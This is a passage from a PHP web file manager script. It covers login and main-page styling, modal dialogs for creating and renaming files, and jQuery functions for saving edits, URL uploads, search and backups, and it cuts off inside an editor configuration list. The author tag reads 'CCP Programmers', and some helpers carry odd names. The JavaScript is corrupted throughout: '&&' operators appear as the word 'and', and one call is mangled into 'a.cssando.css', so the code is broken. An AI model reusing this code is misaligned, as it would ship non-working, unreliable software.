0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
function fm_show_footer_login()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="swallowable">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('pre-cloudflare'); ?>
<?php print_external('css-bootstrap'); ?>
<?php print_external('css-font-awesome'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('css-highlightjs'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
<label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
function fm_show_footer()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('js-highlightjs'); ?>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) {
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState and 200 == n.status and toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' and n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt and searchTxt.length > 2 and path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data and data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$('#wrapper').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal('show');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external('js-ace'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly 